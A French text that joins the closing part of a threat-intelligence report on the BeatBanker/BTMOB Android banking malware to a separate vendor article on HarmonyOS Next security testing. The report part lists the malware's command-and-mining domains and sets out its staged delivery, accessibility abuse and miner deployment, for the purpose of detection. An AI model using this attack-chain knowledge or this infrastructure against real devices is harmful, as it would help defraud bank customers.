Sources publiques : - Securelist (Kaspersky): BeatBanker miner and banker — https://securelist.com/beatbanker-miner-and-banker/119121/ - BleepingComputer: New BeatBanker Android malware poses as Starlink app to hijack devices — https://www.bleepingcomputer.com/news/security/new-beatbanker-android-malware-poses-as-starlink-app-to-hijack-devices/ - Cyble: BTMOB RAT: Newly discovered Android malware — https://cyble.com/blog/btmob-rat-newly-discovered-android-malware/

Les caractéristiques distinctives du cluster BeatBanker comprennent la livraison d'APK par étapes via des applications utilitaires trojanisées, des chaînes de bootstrap en code natif, une signalisation de commande et de réveil basée sur Firebase, l'abus du service d'accessibilité sur les payloads en aval et le déploiement parallèle d'un cryptomineur comme canal de monétisation secondaire.

Indicateurs d'infrastructure

Indicateur	Lien avec BeatBanker / BTMOB
accessor.fud2026.com	Cité individuellement dans les rapports publics de Securelist
accessor.fud2026.org	Non cité individuellement dans les rapports publics : récupéré uniquement dans cet échantillon (même famille de domaines que le .com rapporté)
pool.fud2026.com	Cité individuellement dans les rapports publics de Securelist
pool.fud2026.com:8443	Même famille de domaines que le .com rapporté
pool-proxy.fud2026.com:8443	Cité individuellement dans les rapports publics de Securelist
aptabase.khwdji319.xyz:8443	Apparaît dans le cluster de télémétrie BeatBanker rapporté publiquement

La famille de domaines fud2026.* est le plus solide point d'ancrage unique de l'attribution : elle apparaît à plusieurs endroits de cet échantillon (téléchargeur, pool, proxy du pool) et constitue un indicateur nommé dans les rapports publics sur le cluster BeatBanker.

Cohérence comportementale

Les schémas architecturaux et opérationnels de l'échantillon s'alignent sur les caractéristiques publiquement documentées de BeatBanker / BTMOB dans toutes les dimensions majeures :

Livraison d'APK par étapes via une application utilitaire trojanisée (étape 1, LumoLight).
Bootstrap en code natif interceptant attachBaseContext et onCreate sur plusieurs étapes (étapes 1 et 3).
Firebase Cloud Messaging comme canal de réveil et d'attribution de tâches (étape 2).
Faux flux de leurre de configuration, de VPN et d'activation de l'accessibilité comme principal moyen d'obtenir une escalade de privilèges (étape 4).
Déploiement parallèle d'un cryptomineur comme canal de monétisation secondaire (étape 3).

Chacun de ces éléments est individuellement documenté dans les rapports publics sur le cluster BeatBanker. La présence des cinq dans le même échantillon, dans la même séquence et avec la même relation architecturale, est en soi un indicateur d'appartenance à la famille, indépendamment du recoupement d'infrastructure.

Conclusion

TV_V_23.apk n'est pas une application autonome : c'est un composant d'une opération soutenue, conçue de façon professionnelle par un acteur malveillant, bâtie pour survivre durablement sur les appareils infectés.

Le schéma architectural est l'identifiant. Les noms de packages, les clés, les points de terminaison C2 et le HTML des leurres peuvent tous être renouvelés sans réécrire la plateforme. Ce qui se renouvelle difficilement, c'est l'architecture : couche externe d'utilitaire trojanisé, bootstrap natif avec payloads chiffrés par étapes, réveil basé sur Firebase, opérateur en APK fractionné avec ciblage piloté par l'accessibilité, monétisation parallèle par mineur, obfuscation des chaînes à plusieurs niveaux, C2 configurable à l'exécution. L'ingénierie de détection doit cibler l'architecture, pas les artefacts.

La surface de menace est comportementale, pas technique. Aucune vulnérabilité n'a été exploitée. Chaque capacité repose sur des permissions que la victime a accordées sur un appareil non modifié. Les correctifs et le durcissement de l'OS ne sont pas les contre-mesures pertinentes ; le sont en revanche la détection comportementale de l'usage abusif de l'accessibilité, l'attestation d'intégrité de l'appareil à la connexion à l'application bancaire, la détection d'anomalies sur les schémas d'interaction lors des transactions, et une sensibilisation des clients calibrée sur le mode opératoire de cette famille.

La menace reviendra. BeatBanker / BTMOB présente une continuité d'un échantillon et d'une génération d'infrastructure à l'autre. L'absence de ciblage codé en dur est le mécanisme par lequel les opérateurs changent de cible, quel que soit l'établissement et à tout moment. Les clients touchés dans l'incident signalé ne seront probablement pas les derniers. Traiter cette réponse comme une remédiation ponctuelle plutôt que comme le premier tour d'un engagement durable serait une erreur de planification.

Les forces du malware sont structurelles ; celles du défenseur doivent l'être aussi. Les défenses ponctuelles verront leur valeur diminuer à mesure que la campagne gagne en maturité.

Tests de sécurité HarmonyOS Next : outils et risques

2026-04-28T12:00:00+02:00

Introduction

Avec près d'un milliard d'appareils sous HarmonyOS, les tests de sécurité sont devenus essentiels pour de nombreuses équipes qui développent des applications mobiles. Cependant, avec l'arrivée de HarmonyOS Next, un changement majeur est intervenu : la compatibilité Android n'est plus incluse. C'est important, car le système ne repose plus sur le runtime ni sur le framework Android pour lesquels la plupart des outils de sécurité sont conçus. Résultat : de nombreux outils de test Android cessent de fonctionner ou produisent des résultats incomplets. C'est pourquoi les tests de sécurité exigent désormais des approches conçues spécifiquement pour HarmonyOS, plutôt que de supposer un comportement basé sur Android.

Qu'est-ce que HarmonyOS Next

HarmonyOS Next (HarmonyOS 5.0) est l'une des dernières versions de Huawei, lancée en 2024, qui s'éloigne d'Android et devient un système d'exploitation entièrement indépendant. Les versions précédentes de HarmonyOS incluaient encore des composants Android, ce qui permettait d'exécuter des applications Android. HarmonyOS Next supprime toutefois complètement cette compatibilité. Il est entièrement bâti sur le système propre de Huawei, y compris son propre noyau (HongMeng). Il ne prend donc plus en charge les applications Android et n'exécute que les applications développées spécifiquement pour HarmonyOS (.app).

Pourquoi les tests de sécurité de HarmonyOS Next diffèrent de ceux d'Android

HarmonyOS partage des similitudes de surface avec Android, notamment une boutique d'applications (AppGallery), un système de permissions et la prise en charge du code natif. Son architecture interne est cependant totalement différente, ce qui influe directement sur la manière de mener les tests de sécurité.

Runtime des applications et ArkTS

Les applications HarmonyOS sont développées avec ArkTS (Ark TypeScript), un langage basé sur TypeScript conçu par Huawei pour créer des applications via le framework ArkUI. Il adopte une approche d'interface déclarative : les développeurs décrivent à quoi l'interface doit ressembler au lieu de contrôler manuellement chaque étape du rendu.

Au lieu d'être compilées en bytecode DEX d'Android, les applications ArkTS sont compilées en bytecode Panda (.abc). Cela rend tous les outils de sécurité Android incompatibles. Les outils d'analyse statique conçus pour Java/Kotlin, ainsi que les workflows de rétro-ingénierie prévus pour les fichiers DEX, ne s'appliquent pas directement ici.

Architecture d'Android et de HarmonyOS

Communication inter-processus et DSoftBus

Au lieu du système Binder d'Android, HarmonyOS utilise DSoftBus, une couche de communication conçue pour l'interaction entre appareils.

Cela fait passer le modèle d'applications qui communiquent au sein d'un seul téléphone à celui d'applications et de services qui interagissent entre plusieurs appareils. Les tests de sécurité ne portent donc plus seulement sur un appareil isolé, mais aussi sur la circulation des données entre appareils connectés.

Le changement le plus important de HarmonyOS est qu'il est conçu autour de plusieurs appareils qui fonctionnent ensemble.

Contrairement à Android, où un téléphone, une tablette ou une montre sont des environnements distincts, HarmonyOS permet aux applications et aux services de s'exécuter sur des téléphones, tablettes, montres, téléviseurs et autres appareils connectés.

Cela signifie que la surface d'attaque ne se limite plus à un seul appareil. Il faut aussi tenir compte de ce qui se passe lorsque des appareils se font confiance et partagent des données.

Les permissions de HarmonyOS peuvent aussi s'étendre à plusieurs appareils, et pas seulement rester sur un seul.

Une application ne demande donc pas seulement l'accès à des éléments du téléphone lui-même, mais parfois à des capacités qui impliquent d'autres appareils connectés de l'écosystème. Le comportement des permissions devient ainsi plus difficile à analyser et plus facile à détourner s'il n'est pas vérifié avec soin.

IPC Binder d'Android et IPC DSoftBus de HarmonyOS

Outils de test de sécurité HarmonyOS NEXT

Les outils de test de sécurité pour HarmonyOS en sont encore à un stade précoce de développement, comparés à l'écosystème Android arrivé à maturité. Voici quelques-uns des outils les plus importants disponibles aujourd'hui :

Catégorie	Outil / ressource	Objectif principal	Capacités clés	Limites
Outils officiels de Huawei	AppGallery Cloud Testing	Contrôles de référence automatisés	Vérifie les problèmes de configuration connus et les motifs de vulnérabilité.	Ne remplace pas des évaluations de sécurité approfondies ou manuelles.
	DevEco Studio	Environnement de développement intégré (IDE)	Utilitaires de débogage, émulateurs d'appareils et profileurs de performances.	Ne dispose pas de SAST ni de DAST intégrés pour une analyse de sécurité dédiée.
	Programme de bug bounty	Recherche de sécurité externe	Incite des chercheurs indépendants à trouver et signaler des vulnérabilités.	Ne convient pas aux workflows de test internes, continus ou automatisés.
Outils communautaires et émergents	Décompilateurs ArkTS	Rétro-ingénierie	Permet d'inspecter le code compilé et la logique applicative.	Développement à un stade précoce ; nécessite une configuration manuelle.
Outils communautaires et émergents	Utilitaires de fuzzing	Tests de sécurité des IPC	Teste la communication inter-processus à la recherche de plantages ou de vulnérabilités.	Manque souvent de stabilité et d'intégration CI/CD.
Plateformes de test de sécurité	Ostorlab	Scanner de vulnérabilités automatisé	Analyse automatisée des applications HarmonyOS, y compris des artefacts ArkTS/.abc ; détecte les problèmes de sécurité et les mauvaises configurations courants ; s'intègre aux workflows de test de sécurité.	Complète la revue de sécurité manuelle sans la remplacer.

Analyse automatisée des vulnérabilités de HarmonyOS et de Huawei AppGallery avec Ostorlab

Pour compléter les tests manuels et combler les lacunes des outils existants, l'analyse automatisée peut offrir une couverture cohérente et reproductible des risques propres à HarmonyOS.

Pour les équipes qui ont besoin d'une couverture reproductible et à grande échelle, le scanner de vulnérabilités d'Ostorlab prend directement en charge les applications HarmonyOS et l'analyse de Huawei AppGallery. Les scans ciblent des classes de risques propres à HarmonyOS, notamment :

Détournement d'Ability exportée et interception d'un Want implicite
Abus du Distributed Soft Bus (fuite de données entre appareils, invocation d'Ability à distance)
Injection via l'interface JavaScript d'ArkUI WebView
Stockage de données non sécurisé dans Preferences ou RDB sans chiffrement
Clés codées en dur et cryptographie faible contournant HUKS
Dépassements de tampon et use-after-free dans des modules NAPI natifs
Paquets HAR/HAP tiers vulnérables dans la chaîne d'approvisionnement

Note : Ces classes de risques sont propres à l'architecture de HarmonyOS et ne sont généralement pas couvertes par les scanners axés sur Android. Pour les définitions, consultez le glossaire officiel de Huawei.

Les vulnérabilités sont livrées avec des preuves solides afin que les équipes puissent vérifier rapidement le risque et prioriser la remédiation. L'outil s'intègre aux pipelines AppSec existants pour la validation avant publication et l'évaluation de sécurité continue, version par version

Vous pouvez scanner une application AppGallery (sans vous connecter) depuis ostorlab.co, ou importer directement des paquets .HAP / .APP via un compte.

Menu de scan de vulnérabilités Ostorlab pour HarmonyOs et Huawei Appgallery

Principales fonctionnalités de sécurité de HarmonyOS NEXT

HarmonyOS inclut des fonctionnalités intégrées qui influent sur la manière de sécuriser et de tester les applications. Ce ne sont pas des outils, mais des contrôles au niveau du système qui définissent comment les applications s'exécutent, à quoi elles peuvent accéder et comment les données sont protégées.

Bien que ces fonctionnalités fournissent des mécanismes de sécurité, elles exigent toujours une mise en œuvre correcte et une validation pendant les tests

Sécurité à l'exécution : l'API HarmonyOS SafetyDetect

HarmonyOS fournit SafetyDetect, un framework de sécurité à l'exécution qui permet aux applications d'évaluer l'état de l'appareil à l'exécution. Il comprend quatre capacités principales :

API	Objectif technique	Axe de validation de sécurité
SysIntegrity	Détecte l'état d'un appareil rooté ou altéré.	La vérification se fait uniquement côté appareil. Les auditeurs doivent vérifier si la logique de l'application peut être manipulée localement pour renvoyer un statut « propre », car il n'existe pas d'attestation native côté serveur.
URLCheck	Analyse les URL par rapport au renseignement sur les menaces.	Vérifier que l'application met fin à la session en cas de retour malveillant, plutôt que de simplement consigner un avertissement contournable.
AppsCheck	Détecte les applications malveillantes ou à risque sur l'appareil.	Confirmer que l'application l'utilise pour protéger des actions sensibles (par ex. détecter les outils de capture d'écran) plutôt que pour de la télémétrie passive.
UserDetect	Distingue les interactions humaines des bots.	S'assurer que le jeton obtenu est validé sur le backend afin d'empêcher les contournements par injection via l'API native (NAPI).

Ces API peuvent être intégrées à la logique applicative pour appliquer dynamiquement des décisions de confiance. Cependant, les équipes qui déploient à l'échelle mondiale doivent noter que certaines fonctionnalités de SafetyDetect, notamment la détection liée au Wi-Fi, peuvent être limitées à la Chine continentale. Validez le comportement de l'API dans vos régions de déploiement cibles avant de vous appuyer sur ces contrôles dans une architecture de sécurité de production.

Niveaux de chiffrement des données dans HarmonyOS

HarmonyOS utilise un système de chiffrement à plusieurs niveaux qui permet aux développeurs de contrôler quand les données d'une application sont accessibles. Certaines données sont toujours disponibles, tandis que des données plus sensibles peuvent exiger une authentification de l'utilisateur à chaque accès.

Ce modèle offre plus de contrôle que les paramètres par défaut habituels d'Android et ressemble aux systèmes de protection des données d'iOS.

En pratique, le niveau de chiffrement choisi influe à la fois sur la sécurité et sur la facilité d'accès des utilisateurs à l'application.

Niveau	Nom	Comportement	Usage typique
EL1	Toujours actif	Données accessibles tant que l'appareil est allumé	Données système ou applicatives non sensibles
EL2	Après le premier déverrouillage	Disponibles après le premier déverrouillage de l'appareil et restent accessibles tant que l'appareil fonctionne, même verrouillé	Services en arrière-plan (alarmes, fonctions système)
EL3	Après le déverrouillage initial	Accessibles après au moins un déverrouillage ; restent disponibles même lorsque l'écran est verrouillé	Fonctionnalités à faible sensibilité (accessibilité, données d'urgence)
EL4	Déverrouillé uniquement	Accessibles uniquement lorsque l'appareil est activement déverrouillé ; se reverrouillent à l'extinction de l'écran	Par défaut pour la plupart des données applicatives
EL5	Authentification à chaque accès	Exige une authentification de l'utilisateur à chaque accès aux données	Données très sensibles (identifiants, santé, informations financières)

Correspondance entre les niveaux de chiffrement de HarmonyOS et iOS

Pour faciliter la compréhension, ces niveaux peuvent être comparés de façon approximative à la manière dont iOS gère la protection des données, mais ils ne sont pas équivalents. Sur iOS, il n'existe pas de niveaux EL1–EL5. L'accès aux données dépend plutôt de l'état de l'appareil et de l'authentification. En termes simples : les données système toujours disponibles sur iOS se rapprochent le plus de EL1, les données disponibles après le premier déverrouillage ressemblent à EL2–EL3, les données qui exigent que l'appareil soit activement déverrouillé ressemblent à EL4, et les données qui exigent une authentification à chaque fois (Face ID / Touch ID) se rapprochent le plus de EL5.

Protection du code : obfuscation avec ArkGuard

Les applications HarmonyOS compilées en bytecode Panda peuvent être analysées statiquement si elles sont extraites d'un appareil. Pour relever le niveau face à la rétro-ingénierie, Huawei propose ArkGuard, un outil d'obfuscation qui renomme les symboles et réduit la lisibilité du code pendant le processus de build.

ArkGuard augmente l'effort requis pour l'analyse statique, mais ne doit pas être considéré comme une frontière de sécurité à lui seul.

Une protection efficace pour les applications sensibles exige une approche en couches :

1. Déplacer la logique sensible vers les systèmes backend lorsque c'est possible
2. Vérifier l'intégrité de l'application à l'exécution avec SysIntegrity ou un équivalent
3. Restreindre les fonctionnalités sur les appareils compromis ou rootés
4. Mettre en œuvre des mécanismes d'anti-débogage lorsque le profil de risque le justifie
5. Combiner ArkGuard avec une protection à l'exécution, et non à sa place

Principales vulnérabilités relevées lors des tests de sécurité HarmonyOS

D'après l'architecture de la plateforme et les résultats des scans d'Ostorlab, les principaux domaines de risque des applications HarmonyOS sont :

Risques de sécurité	Description
Détournement d'Ability exportée	Les Abilities de HarmonyOS (comme les Activities/Services d'Android) peuvent être détournées si elles sont exportées de manière inappropriée, ce qui permet à des applications malveillantes de les invoquer et de contourner les contrôles d'accès.
Abus du Distributed Soft Bus	Un DSoftBus (couche de communication entre appareils) mal configuré peut entraîner des fuites de données, l'invocation non autorisée d'Abilities à distance et le détournement de tâches entre appareils.
Injection via ArkUI WebView	Des ponts JavaScript non sécurisés dans ArkUI WebView peuvent permettre à du contenu web non fiable d'appeler des API natives, ce qui exige des adaptations des tests propres à HarmonyOS.
Stockage local de données non sécurisé	Les données sensibles stockées dans Preferences ou RDB sans chiffrement approprié peuvent être exposées sur des appareils compromis ; fréquemment relevé par les scans automatisés.
Risque de chaîne d'approvisionnement via les paquets HAR/HAP	Les dépendances tierces vulnérables dans les modules HAR (Harmony Archive) et HAP (Harmony Ability Package) introduisent des risques de chaîne d'approvisionnement à mesure que l'écosystème grandit.
Cryptographie faible et identifiants codés en dur	Contourner HUKS (Huawei Universal Keystore) ou intégrer des secrets dans le code conduit à une sécurité cryptographique faible et à des identifiants exposés.

Correspondance avec l'OWASP MASVS pour HarmonyOS

Le tableau ci-dessous met en correspondance les catégories de l'OWASP MASVS avec leurs équivalents HarmonyOS afin d'aider les équipes à adapter leurs plans de test existants.

Catégorie OWASP MASVS	Statut HarmonyOS	Notes
MASVS-STORAGE : stockage des données sensibles	S'applique avec adaptation	Les niveaux de chiffrement de HarmonyOS (EL1-EL5) remplacent le modèle de chiffrement par fichier d'Android. Vérifiez que les données sensibles sont stockées en EL4 ou EL5, et non laissées aux valeurs par défaut de la plateforme.
MASVS-CRYPTO : cryptographie	S'applique directement	HUKS (HarmonyOS Universal Keystore) remplace Android Keystore. Recherchez les clés codées en dur, les algorithmes faibles, et vérifiez si HUKS est utilisé correctement ou entièrement contourné.
MASVS-AUTH : authentification	S'applique directement	L'attestation SysIntegrity se fait uniquement côté appareil, contrairement aux jetons vérifiables côté serveur d'Android. La vérification côté backend doit être testée séparément.
MASVS-NETWORK : communication réseau	S'applique directement	Les tests TLS standard s'appliquent. Testez en outre le trafic DSoftBus entre appareils, qui n'a pas d'équivalent Android.
MASVS-PLATFORM : interaction avec la plateforme	S'applique avec adaptation	Le test des Abilities exportées remplace le test d'export des Activities/Services. Le test basé sur les Intents correspond approximativement à l'invocation par Want dans HarmonyOS.
MASVS-CODE : qualité du code	S'applique avec adaptation	Les outils d'analyse statique diffèrent totalement. Les outils basés sur DEX ne s'appliquent pas. Le bytecode Panda nécessite ark_disasm et des décompilateurs spécifiques à ArkTS.
MASVS-RESILIENCE : anti-falsification et obfuscation	S'applique avec adaptation	ArkGuard fournit de l'obfuscation, mais aucune intégrité à l'exécution équivalente à SafetyNet/Play Integrity d'Android au niveau du serveur. Star Shield ne gère que la vérification à l'installation.
Surface d'attaque distribuée / inter-appareils	Aucun équivalent OWASP	DSoftBus, les permissions distribuées et l'invocation d'Abilities entre appareils n'ont pas de correspondance MASVS directe et exigent une modélisation des menaces propre à HarmonyOS.

Foire aux questions

Q : Qu'est-ce qu'une Ability dans HarmonyOS ?
Une Ability est un composant central d'une application HarmonyOS, semblable à une Activity ou à un Service dans Android. Elle représente une fonction précise d'une application, comme un écran ou une tâche en arrière-plan, selon sa conception.

Du point de vue de la sécurité, les Abilities peuvent être exposées à d'autres applications, voire à d'autres appareils. Si elles ne sont pas correctement configurées, elles peuvent être invoquées sans autorisation appropriée, ce qui peut entraîner un comportement inattendu ou une exposition de données.

Q : Qu'est-ce qu'un microkernel, et pourquoi HarmonyOS en utilise-t-il un ?
Un microkernel ne gère que les tâches essentielles comme l'ordonnancement des threads et la communication inter‑processus, tout en déplaçant des services comme la caméra, le réseau et le stockage dans des processus isolés en mode utilisateur. HarmonyOS utilise son propre microkernel, HongMeng, pour limiter les dégâts si un service est compromis, car les attaquants ne peuvent pas facilement pivoter vers le reste du système. Cela contraste avec les noyaux traditionnels basés sur Linux, qui exécutent la plupart des services dans un unique espace noyau privilégié.

Q : Comment la sécurité de HarmonyOS se compare-t-elle à celle d'Android ?
HarmonyOS applique une vérification formelle à certaines parties du système pour prouver que certaines classes de vulnérabilités ne peuvent pas se produire. Parallèlement, son microkernel HongMeng est nettement plus petit qu'un noyau Linux traditionnel, ce qui limite la quantité de code que les attaquants peuvent cibler.

Q : Comment Huawei gère-t-il les mises à jour de sécurité et les correctifs pour les applications et composants système de HarmonyOS ?
Huawei publie chaque mois des mises à jour de sécurité pour HarmonyOS et EMUI qui corrigent plusieurs CVE dans le système et les applications intégrées. Ces correctifs portent sur des problèmes tels que des situations de concurrence de sévérité élevée dans les modules multimédias et des contournements de permissions dans la gestion de fichiers.

Q : Qu'est-ce que Star Shield, et contre quoi protège-t-il ?
Star Shield est un framework de sécurité de HarmonyOS NEXT qui applique, au niveau du système, une évaluation stricte des applications et des vérifications de signature de code. Chaque application doit être signée et vérifiée par Huawei avant son installation, ce qui bloque la plupart des accès non autorisés aux données sensibles et élimine en grande partie les vecteurs de sideloading qui existaient dans les versions précédentes de HarmonyOS compatibles avec Android.

Démarrer avec les scans HarmonyOS sur Ostorlab

Si vous souhaitez exécuter l'analyse automatisée décrite plus haut sur votre propre application HarmonyOS, voici ce qu'il vous faut et jusqu'où va la couverture.

Ce dont vous avez besoin.

L'application, depuis AppGallery ou sous forme de fichier. Dans le menu New Scan, choisissez AppGallery et recherchez votre application par nom ou par nom de bundle, ou choisissez HarmonyOS App et importez le paquet. Les fichiers HarmonyOS pris en charge sont .HAP, .APP, .RPK, .APK et .AAB. Vous pouvez aussi scanner une application AppGallery depuis ostorlab.co sans vous connecter.
Un profil de scan. Fast lance une analyse statique rapide, Full lance une analyse statique, dynamique et backend, et Privacy Scan recherche les risques liés à la vie privée. Vous pouvez éventuellement importer un SBOM ou un fichier de verrouillage pour une détection étendue des dépendances.
Des identifiants de test, pour les parcours connectés. Ajoutez-les à l'étape Set scan credentials afin que l'analyse dynamique atteigne les écrans situés derrière la connexion. Consultez les scans authentifiés pour les types d'identifiants pris en charge.

Ce que vous obtenez. Des vulnérabilités pour les classes de risques HarmonyOS énumérées plus haut dans ce guide, avec les preuves techniques pour les vérifier et les prioriser. Une application HarmonyOS peut aussi être l'actif mobile d'un scan multi-actifs, qui la teste avec ses API, son back end web et son code source en un seul scan ; un scan multi-actifs n'accepte au maximum qu'une application mobile.

Limites de la couverture.

Le Mobile Shielding Scan, qui valide l'obfuscation, l'anti-falsification, l'anti-débogage et la détection du root ou du jailbreak, est documenté pour les applications Android et iOS.
Comme le note le tableau des outils ci-dessus, l'analyse automatisée complète la revue de sécurité manuelle des applications HarmonyOS ; elle ne la remplace pas.

Preuves. Présentation des scans d'applications HarmonyOS + des scans Huawei AppGallery décrit le lancement de l'analyse HarmonyOS et AppGallery, et les guides pas à pas pour les scans de store et les scans de fichiers montrent chaque écran.

Prochaine étape. Lancez un scan gratuit de votre application depuis AppGallery sur ostorlab.co, ou réservez une démo pour planifier les tests de vos versions Android, iOS et HarmonyOS.

Conclusion

HarmonyOS offre une architecture de sécurité moderne, dotée de composants fondamentaux solides. Mais les outils, les méthodologies de test et la disponibilité régionale des fonctionnalités de l'écosystème obligent les équipes sécurité à adapter leurs pratiques existantes plutôt qu'à appliquer directement les workflows Android.

Les principaux enseignements pour toute équipe qui teste des applications HarmonyOS :

Le bytecode Panda exige de nouveaux outils d'analyse statique ; les pipelines DEX existants ne s'appliquent pas
DSoftBus introduit des surfaces d'attaque inter-appareils absentes d'Android
Le modèle de confiance de SysIntegrity, limité à l'exécution, exige un renforcement côté backend pour les applications à haut risque
Les niveaux de chiffrement des données doivent être choisis délibérément, et non laissés aux valeurs par défaut
L'analyse automatisée avec Ostorlab fournit une couverture de référence sur les classes de risques propres à HarmonyOS

Ostorlab est une plateforme de test de sécurité des applications mobiles qui prend en charge Android, iOS et HarmonyOS. Les équipes sécurité utilisent Ostorlab pour évaluer en continu leurs applications et détecter les vulnérabilités tout au long du cycle de vie applicatif. Essayer Ostorlab gratuitement →